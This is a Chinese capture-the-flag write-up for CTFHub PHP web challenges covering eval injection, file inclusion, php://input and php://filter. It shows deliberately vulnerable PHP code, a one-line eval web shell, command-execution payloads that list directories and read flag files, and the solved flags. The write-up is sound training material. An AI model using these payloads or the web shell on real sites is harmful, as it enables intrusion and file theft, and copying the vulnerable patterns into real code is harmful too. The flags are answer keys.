eval执行:
1.进入网页,显示源码,
<?php
if (isset($_REQUEST[‘cmd‘])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
2.输入命令,发现该文件并不是想要的,
cmd=system("ls");
3.继续查看目录命令,
cmd=system("ls /");
4.查看,得到flag,
cmd=system("cat /flag_8822");
flag:
ctfhub{d593f41b1b07b3eba2ff5d5419272766ef47c8c6}
文件包含:
1.进入题目,源码如下,
<?php
error_reporting(0);
if (isset($_GET[‘file‘])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.点击查看shell,
<?php eval($_REQUEST[‘ctfhub‘]);?>
3.构造payload,
file=shell.txt
POST:ctfhub=system("ls ");
4.发现没有需要的文件,查看根目录,
file=shell.txt
POST:ctfhub=system("ls /");
5.查看flag,得到flag,
file=shell.txt
POST:ctfhub=system("cat /flag");
flag:
ctfhub{134dc84eb445a2d35c7c7f2d005a93149bcd3aae}
补充:
strpos()函数:
查找字符串在另一字符串中第一次出现的位置(区分大小写)
strpos("You love php, I love php too!","php");
php://input:
1.进入页面,源码如下,
<?php
if (isset($_GET[‘file‘])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.使用php://input来构造发送的指令,
3.构造,
?file=php://input
POST:<?php system("ls /");?>
4.查看flag目录,得到flag,
?file=php://input
POST:<?php system("cat /flag_27046");?>
flag:
ctfhub{3d3a294472cbaaf5f60d3639da8a1c75e0144bbb}
读取源代码:
1.进入题目,分析源码,
<?php
error_reporting(E_ALL);
if (isset($_GET[‘file‘])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.题目告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容,得到base64编码后的flag,解码即可得到flag,(或者直接)
?file=php://filter/read=convert.base64-encode/resource=/flag
或
?file=php://filter/resource=/flag
flag:
ctfhub{1036f894cefc1ca00066d256b6c32f0537890711}
远程包含:
1.进入页面,查看源码,
<?php
error_reporting(0);
if (isset($_GET[‘file‘])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.从phpinfo()可以看到根目录,
3.利用POST查看目录,
4.查看/flag得到flag,
flag:
ctfhub{adb12467085aa372958627a7a841bf39687022b5}